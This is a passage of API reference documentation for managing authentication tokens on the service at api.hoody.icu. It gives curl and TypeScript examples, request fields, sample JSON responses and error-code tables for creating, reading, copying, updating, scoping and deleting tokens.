| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |




## Get auth token by ID

Returns details of a specific auth token. The token value is not included in the response.




```bash
curl -X GET https://api.hoody.icu/api/v1/auth/tokens/507f1f77bcf86cd799439011 \
  -H "Authorization: Bearer <token>"
```




```typescript
const token = await client.api.authTokens.get({ id: "507f1f77bcf86cd799439011" });
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the token |

### Response




```json
{
  "statusCode": 200,
  "message": "Auth token retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "alias": "Production API Key",
    "prefix": "hdy_",
    "ip_whitelist": ["192.168.1.0/24", "10.0.0.1"],
    "realm_ids": [],
    "allow_no_realm": true,
    "expires_at": "2025-12-31T23:59:59.000Z",
    "is_enabled": true,
    "vault_access": true,
    "event_access": true,
    "last_used_at": "2025-10-28T12:00:00.000Z",
    "last_used_ip": "198.51.100.1",
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T14:45:00.000Z"
  }
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |




```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Authentication token not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOKEN_NOT_FOUND` | Authentication token not found | The requested authentication token does not exist or has been deleted | Verify the token ID is correct and that the token still exists |




## Get current auth token details

Returns metadata, permissions, and realm restrictions for the currently authenticated auth token. This endpoint is allowed on the base `api.hoody.icu` domain for realm-scoped tokens to bootstrap realm discovery.




```bash
curl -X GET https://api.hoody.icu/api/v1/auth/tokens/me \
  -H "Authorization: Bearer <token>"
```




```typescript
const current = await client.api.authTokens.getCurrent();
```




### Response




```json
{
  "statusCode": 200,
  "message": "Current auth token retrieved successfully",
  "data": {
    "token": {
      "id": "507f1f77bcf86cd799439011",
      "alias": "External Customer Token",
      "prefix": "hdy_",
      "ip_whitelist": ["*"],
      "realm_ids": ["507f1f77bcf86cd799439012"],
      "allow_no_realm": false,
      "permissions": {
        "containers": {
          "read": true,
          "create": true
        },
        "resources": {
          "realms": true
        }
      },
      "expires_at": null,
      "is_enabled": true,
      "vault_access": false,
      "event_access": true,
      "created_at": "2025-01-15T10:30:00.000Z",
      "updated_at": "2025-01-15T10:30:00.000Z"
    },
    "restrictions": {
      "has_realm_restrictions": true,
      "requires_realm_scope": true,
      "allowed_realm_ids": ["507f1f77bcf86cd799439012"],
      "allow_no_realm": false,
      "active_realm_id": "507f1f77bcf86cd799439012"
    }
  }
}
```




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |




```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |




## Get auth token public profile by public key

Resolves and retrieves an auth token's public profile storage by ED25519 public key.




```bash
curl -X GET https://api.hoody.icu/api/v1/auth/tokens/public-profiles/a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234 \
  -H "Authorization: Bearer <token>"
```




```typescript
const profile = await client.api.authTokens.getPublicProfile({
  public_key: "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234"
});
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `public_key` | path | string | Yes | ED25519 public key to resolve |

### Response




```json
{
  "statusCode": 200,
  "message": "Public profile retrieved successfully",
  "data": {
    "public_key": "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
    "public_storage": {
      "display_name": "Acme Integrations",
      "website": "https://example.com"
    }
  }
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid public key format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_PUBLIC_KEY_FORMAT` | Invalid public key format | Public key must be exactly 64 hexadecimal characters (ED25519 format) | Provide a valid 64-character ED25519 public key in hexadecimal format |




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |




```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Authentication token not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOKEN_NOT_FOUND` | Authentication token not found | The requested authentication token does not exist or has been deleted | Verify the token ID is correct and that the token still exists |




## Create a new auth token

Creates a new long-term authentication token with optional IP restrictions, expiration, and fine-grained permissions.




```bash
curl -X POST https://api.hoody.icu/api/v1/auth/tokens \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "Production API Key",
    "public_key": "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
    "public_storage": {
      "display_name": "Production Integrations",
      "tier": "gold"
    },
    "ip_whitelist": ["192.168.1.0/24", "10.0.0.1"],
    "vault_access": true,
    "expires_at": 1767225599000
  }'
```




```typescript
const result = await client.api.authTokens.create({
  data: {
    alias: "Production API Key",
    public_key: "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
    public_storage: {
      display_name: "Production Integrations",
      tier: "gold"
    },
    ip_whitelist: ["192.168.1.0/24", "10.0.0.1"],
    vault_access: true,
    expires_at: 1767225599000
  }
});
```




### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `alias` | string | No | User-friendly alias. Allowed characters: letters, numbers, spaces, underscores, hyphens. If omitted, a random animal name is generated. |
| `public_key` | string \| null | No | ED25519 public key (64 hex chars) or `null` to clear. |
| `public_storage` | object \| null | No | Public JSON profile storage (max 64KB) or `null` to clear. |
| `ip_whitelist` | array \| string | No | Array of IPv4 addresses/CIDR ranges, comma-separated string, or `*` wildcard. Defaults to `*`. |
| `permission_template` | string | No | Permission template to apply (`full_access`, `external_customer`, `dev_team`, `finance_team`, `read_only`). Takes precedence over `permissions`. |
| `permissions` | object | No | Fine-grained permission map. Missing paths default to `false`. |
| `realm_ids` | array | No | Realm IDs to restrict this token to. |
| `allow_no_realm` | boolean | No | Whether the token can be used without a realm scope. Default: `true`. |
| `vault_access` | boolean | No | Whether the token can access user vault endpoints. Default: `false`. |
| `event_access` | boolean | No | Whether the token can access event streams. Default: `true`. |
| `expires_at` | string \| number | No | ISO 8601 date, Unix timestamp, `today`, or `tomorrow`. |
| `otp_code` | string | No | TOTP code (6 digits) or backup code (10 alphanumeric). Required if 2FA is enabled and authenticating via JWT. |

### Response




```json
{
  "statusCode": 201,
  "message": "Auth token created successfully",
  "data": {
    "token": "hdy_a1b2c3d4e5f67890abcdef1234567890",
    "id": "507f1f77bcf86cd799439011",
    "alias": "Production API Key",
    "prefix": "hdy_",
    "public_key": "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
    "public_storage": {
      "display_name": "Production Integrations",
      "tier": "gold"
    },
    "ip_whitelist": ["192.168.1.0/24", "10.0.0.1"],
    "realm_ids": [],
    "allow_no_realm": true,
    "permissions": {
      "containers": {
        "read": true
      }
    },
    "expires_at": "2025-12-31T23:59:59.000Z",
    "is_enabled": true,
    "vault_access": true,
    "event_access": true,
    "last_used_at": null,
    "last_used_ip": null,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T10:30:00.000Z"
  }
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |
| `OTP_REQUIRED` | 2FA verification required | This operation requires 2FA verification because your account has 2FA enabled | Provide an `otp_code` field with a valid TOTP code or backup code |
| `INVALID_ALIAS_FORMAT` | Invalid alias format | Token alias must contain only letters, numbers, spaces, underscores, and hyphens | Use only allowed characters: letters (a-z, A-Z), numbers (0-9), spaces, underscores (`_`), and hyphens (`-`) |
| `INVALID_IP_FORMAT` | Invalid IP address format | IP whitelist must contain valid IPv4 addresses or CIDR ranges | Provide valid IPv4 addresses (e.g., `192.168.1.1`) or CIDR ranges (e.g., `192.168.1.0/24`), or use `*` for all IPs |
| `INVALID_REALM_ID_FORMAT` | Invalid realm ID format | Realm IDs must be 24-character hexadecimal strings | Ensure all realm IDs are valid 24-character hex strings (e.g., `507f1f77bcf86cd799439011`) |
| `INVALID_EXPIRATION_FORMAT` | Invalid expiration format | Expiration must be an ISO 8601 date, Unix timestamp, `today`, `tomorrow`, or null | Use a valid date format: ISO 8601 string, Unix timestamp (seconds/milliseconds), `today`, `tomorrow`, or null for non-expiring |
| `INVALID_PUBLIC_KEY_FORMAT` | Invalid public key format | Public key must be exactly 64 hexadecimal characters (ED25519 format) | Provide a valid 64-character ED25519 public key in hexadecimal format |
| `PUBLIC_STORAGE_TOO_LARGE` | Public storage exceeds size limit | `public_storage` must not exceed 64KB serialized JSON | Reduce the size of the public storage payload and retry |
| `EXPIRATION_IN_PAST` | Expiration date in the past | The expiration date cannot be in the past | Provide a future date for token expiration |




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |




```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Token alias already exists"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DUPLICATE_ALIAS` | Token alias already exists | You already have an authentication token with this alias | Choose a different unique alias for this token |




## Add realm to auth token

Atomically adds a realm ID to an auth token. Idempotent — if the realm is already present, returns success without modification.




```bash
curl -X POST https://api.hoody.icu/api/v1/auth/tokens/507f1f77bcf86cd799439011/add-realm \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "realm_id": "507f1f77bcf86cd799439012"
  }'
```




```typescript
const result = await client.api.authTokens.addRealm({
  id: "507f1f77bcf86cd799439011",
  data: { realm_id: "507f1f77bcf86cd799439012" }
});
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Auth token ID |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `realm_id` | string | Yes | Realm ID to add to the token |
| `otp_code` | string | No | TOTP code (6 digits) or backup code (10 alphanumeric). Required if 2FA is enabled and authenticating via JWT. |

### Response




```json
{
  "statusCode": 200,
  "message": "Realm added to auth token successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "alias": "External Customer Token",
    "prefix": "hdy_",
    "ip_whitelist": ["*"],
    "realm_ids": ["507f1f77bcf86cd799439012", "507f1f77bcf86cd799439013"],
    "allow_no_realm": false,
    "permissions": {
      "containers": { "read": true }
    },
    "expires_at": null,
    "is_enabled": true,
    "vault_access": false,
    "event_access": true,
    "last_used_at": null,
    "last_used_ip": null,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T15:00:00.000Z"
  }
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid realm ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `OTP_REQUIRED` | 2FA verification required | This operation requires 2FA verification because your account has 2FA enabled | Provide an `otp_code` field with a valid TOTP code or backup code |
| `INVALID_REALM_ID_FORMAT` | Invalid realm ID format | Realm IDs must be 24-character hexadecimal strings | Ensure all realm IDs are valid 24-character hex strings (e.g., `507f1f77bcf86cd799439011`) |




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```




```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Authentication token not found"
}
```




## Copy auth token

Copies an existing auth token's configuration (permissions, realm restrictions, IP whitelist) into a new token with a new secret value.




```bash
curl -X POST https://api.hoody.icu/api/v1/auth/tokens/507f1f77bcf86cd799439011/copy \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "Production API Key Copy"
  }'
```




```typescript
const result = await client.api.authTokens.copy({
  id: "507f1f77bcf86cd799439011",
  data: { alias: "Production API Key Copy" }
});
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the token |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `alias` | string | No | Optional alias for the copied token. If omitted, a deterministic alias like `"&lt;source&gt; copy"` is generated. |
| `expires_at` | string \| number \| null | No | ISO 8601 date, Unix timestamp, `today`, `tomorrow`, or `null` for non-expiring. Defaults to source expiration. |
| `otp_code` | string | No | TOTP code (6 digits) or backup code (10 alphanumeric). Required if 2FA is enabled and authenticating via JWT. |

### Response




```json
{
  "statusCode": 201,
  "message": "Auth token copied successfully",
  "data": {
    "token": "hdy_f0e1d2c3b4a5968778695a4b3c2d1e0f1234567890abcdef",
    "id": "507f1f77bcf86cd799439099",
    "alias": "Production API Key Copy",
    "prefix": "hdy_",
    "ip_whitelist": ["192.168.1.0/24", "10.0.0.1"],
    "realm_ids": ["507f1f77bcf86cd799439011"],
    "allow_no_realm": false,
    "permissions": {
      "containers": { "read": true }
    },
    "expires_at": "2025-12-31T23:59:59.000Z",
    "is_enabled": true,
    "vault_access": true,
    "event_access": true,
    "last_used_at": null,
    "last_used_ip": null,
    "created_at": "2025-01-20T08:30:00.000Z",
    "updated_at": "2025-01-20T08:30:00.000Z"
  }
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `OTP_REQUIRED` | 2FA verification required | This operation requires 2FA verification because your account has 2FA enabled | Provide an `otp_code` field with a valid TOTP code or backup code |
| `INVALID_ALIAS_FORMAT` | Invalid alias format | Token alias must contain only letters, numbers, spaces, underscores, and hyphens | Use only allowed characters: letters (a-z, A-Z), numbers (0-9), spaces, underscores (`_`), and hyphens (`-`) |
| `INVALID_EXPIRATION_FORMAT` | Invalid expiration format | Expiration must be an ISO 8601 date, Unix timestamp, `today`, `tomorrow`, or null | Use a valid date format: ISO 8601 string, Unix timestamp (seconds/milliseconds), `today`, `tomorrow`, or null for non-expiring |
| `EXPIRATION_IN_PAST` | Expiration date in the past | The expiration date cannot be in the past | Provide a future date for token expiration |




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |




```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |




```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Authentication token not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOKEN_NOT_FOUND` | Authentication token not found | The requested authentication token does not exist or has been deleted | Verify the token ID is correct and that the token still exists |




```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Token alias already exists"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DUPLICATE_ALIAS` | Token alias already exists | You already have an authentication token with this alias | Choose a different unique alias for this token |




## Remove realm from auth token

Atomically removes a realm ID from an auth token. Idempotent — if the realm is not present, returns success without modification.




```bash
curl -X POST https://api.hoody.icu/api/v1/auth/tokens/507f1f77bcf86cd799439011/remove-realm \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "realm_id": "507f1f77bcf86cd799439012"
  }'
```




```typescript
const result = await client.api.authTokens.removeRealm({
  id: "507f1f77bcf86cd799439011",
  data: { realm_id: "507f1f77bcf86cd799439012" }
});
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Auth token ID |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `realm_id` | string | Yes | Realm ID to remove from the token |
| `otp_code` | string | No | TOTP code (6 digits) or backup code (10 alphanumeric). Required if 2FA is enabled and authenticating via JWT. |

### Response




```json
{
  "statusCode": 200,
  "message": "Realm removed from auth token successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "alias": "External Customer Token",
    "prefix": "hdy_",
    "ip_whitelist": ["*"],
    "realm_ids": [],
    "allow_no_realm": false,
    "permissions": {
      "containers": { "read": true }
    },
    "expires_at": null,
    "is_enabled": true,
    "vault_access": false,
    "event_access": true,
    "last_used_at": null,
    "last_used_ip": null,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T15:10:00.000Z"
  }
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid realm ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `OTP_REQUIRED` | 2FA verification required | This operation requires 2FA verification because your account has 2FA enabled | Provide an `otp_code` field with a valid TOTP code or backup code |
| `INVALID_REALM_ID_FORMAT` | Invalid realm ID format | Realm IDs must be 24-character hexadecimal strings | Ensure all realm IDs are valid 24-character hex strings (e.g., `507f1f77bcf86cd799439011`) |




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```




```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Authentication token not found"
}
```




## Update auth token

Updates an existing auth token's alias, public key/profile storage, IP restrictions, expiration, enabled status, permissions, or realm bindings.




```bash
curl -X PATCH https://api.hoody.icu/api/v1/auth/tokens/507f1f77bcf86cd799439011 \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "Updated Production Key",
    "ip_whitelist": ["*"],
    "vault_access": false,
    "expires_at": null,
    "is_enabled": false
  }'
```




```typescript
const updated = await client.api.authTokens.update({
  id: "507f1f77bcf86cd799439011",
  data: {
    alias: "Updated Production Key",
    ip_whitelist: ["*"],
    vault_access: false,
    expires_at: null,
    is_enabled: false
  }
});
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the token to update |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `alias` | string | No | User-friendly alias. Allowed characters: letters, numbers, spaces, underscores, hyphens. |
| `public_key` | string \| null | No | ED25519 public key (64 hex chars) or `null` to clear. |
| `public_storage` | object \| null | No | Public JSON profile storage (max 64KB) or `null` to clear. |
| `ip_whitelist` | array \| string | No | Array of IPv4 addresses/CIDR ranges, comma-separated string, or `*` wildcard. |
| `permissions` | object | No | Fine-grained permission map. Missing paths default to `false`. |
| `realm_ids` | array | No | Realm IDs to restrict this token to. |
| `allow_no_realm` | boolean | No | Whether the token can be used without a realm scope. |
| `vault_access` | boolean | No | Whether the token can access user vault endpoints. |
| `event_access` | boolean | No | Whether the token can access event streams and event history. |
| `expires_at` | string \| number \| null | No | ISO 8601 date, Unix timestamp, `today`, `tomorrow`, or `null` for non-expiring. |
| `is_enabled` | boolean | No | Enable or disable the token. |
| `otp_code` | string | No | TOTP code (6 digits) or backup code (10 alphanumeric). Required if 2FA is enabled and authenticating via JWT. |

### Response




```json
{
  "statusCode": 200,
  "message": "Auth token updated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "alias": "Updated Production Key",
    "prefix": "hdy_",
    "ip_whitelist": ["*"],
    "realm_ids": [],
    "allow_no_realm": true,
    "permissions": {
      "containers": { "read": true }
    },
    "expires_at": null,
    "is_enabled": false,
    "vault_access": false,
    "event_access": true,
    "last_used_at": "2025-10-28T12:00:00.000Z",
    "last_used_ip": "198.51.100.1",
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T14:45:00.000Z"
  }
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `OTP_REQUIRED` | 2FA verification required | This operation requires 2FA verification because your account has 2FA enabled | Provide an `otp_code` field with a valid TOTP code or backup code |
| `INVALID_ALIAS_FORMAT` | Invalid alias format | Token alias must contain only letters, numbers, spaces, underscores, and hyphens | Use only allowed characters: letters (a-z, A-Z), numbers (0-9), spaces, underscores (`_`), and hyphens (`-`) |
| `INVALID_IP_FORMAT` | Invalid IP address format | IP whitelist must contain valid IPv4 addresses or CIDR ranges | Provide valid IPv4 addresses (e.g., `192.168.1.1`) or CIDR ranges (e.g., `192.168.1.0/24`), or use `*` for all IPs |
| `INVALID_REALM_ID_FORMAT` | Invalid realm ID format | Realm IDs must be 24-character hexadecimal strings | Ensure all realm IDs are valid 24-character hex strings (e.g., `507f1f77bcf86cd799439011`) |
| `INVALID_EXPIRATION_FORMAT` | Invalid expiration format | Expiration must be an ISO 8601 date, Unix timestamp, `today`, `tomorrow`, or null | Use a valid date format: ISO 8601 string, Unix timestamp (seconds/milliseconds), `today`, `tomorrow`, or null for non-expiring |
| `INVALID_PUBLIC_KEY_FORMAT` | Invalid public key format | Public key must be exactly 64 hexadecimal characters (ED25519 format) | Provide a valid 64-character ED25519 public key in hexadecimal format |
| `PUBLIC_STORAGE_TOO_LARGE` | Public storage exceeds size limit | `public_storage` must not exceed 64KB serialized JSON | Reduce the size of the public storage payload and retry |
| `EXPIRATION_IN_PAST` | Expiration date in the past | The expiration date cannot be in the past | Provide a future date for token expiration |




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |




```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Authentication token not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOKEN_NOT_FOUND` | Authentication token not found | The requested authentication token does not exist or has been deleted | Verify the token ID is correct and that the token still exists |




```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Token alias already exists"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DUPLICATE_ALIAS` | Token alias already exists | You already have an authentication token with this alias | Choose a different unique alias for this token |




## Update current auth token public profile

Updates the current auth token's `public_key` and `public_storage` payload. Requires the `resources.auth_token_public_profile` permission on the auth token.




```bash
curl -X PATCH https://api.hoody.icu/api/v1/auth/tokens/me/public-profile \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "public_key": "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
    "public_storage": {
      "username_hint": "acme-team",
      "avatar": "https://cdn.example.com/avatar.png"
    }
  }'
```




```typescript
const updated = await client.api.authTokens.updatePublicProfile({
  data: {
    public_key: "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
    public_storage: {
      username_hint: "acme-team",
      avatar: "https://cdn.example.com/avatar.png"
    }
  }
});
```




### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `public_key` | string \| null | No | ED25519 public key (64 hex chars) or `null` to clear. |
| `public_storage` | object \| null | No | Public JSON profile storage (max 64KB) or `null` to clear. |

At least one of `public_key` or `public_storage` must be provided.

### Response




```json
{
  "statusCode": 200,
  "message": "Public profile updated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "alias": "External Customer Token",
    "prefix": "hdy_",
    "public_key": "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
    "public_storage": {
      "username_hint": "acme-team",
      "avatar": "https://cdn.example.com/avatar.png"
    },
    "ip_whitelist": ["*"],
    "realm_ids": ["507f1f77bcf86cd799439012"],
    "allow_no_realm": false,
    "permissions": {
      "containers": { "read": true }
    },
    "expires_at": null,
    "is_enabled": true,
    "vault_access": false,
    "event_access": true,
    "last_used_at": null,
    "last_used_ip": null,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T15:00:00.000Z"
  }
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_PUBLIC_KEY_FORMAT` | Invalid public key format | Public key must be exactly 64 hexadecimal characters (ED25519 format) | Provide a valid 64-character ED25519 public key in hexadecimal format |
| `PUBLIC_STORAGE_TOO_LARGE` | Public storage exceeds size limit | `public_storage` must not exceed 64KB serialized JSON | Reduce the size of the public storage payload and retry |




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |




```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |




## Delete auth token

Deletes an auth token. Once deleted, the token can no longer be used for authentication.




```bash
curl -X DELETE https://api.hoody.icu/api/v1/auth/tokens/507f1f77bcf86cd799439011 \
  -H "Authorization: Bearer <token>"
```




```typescript
await client.api.authTokens.delete({ id: "507f1f77bcf86cd799439011" });
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the token |

### Response




```json
{
  "statusCode": 200,
  "message": "Auth token deleted successfully"
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
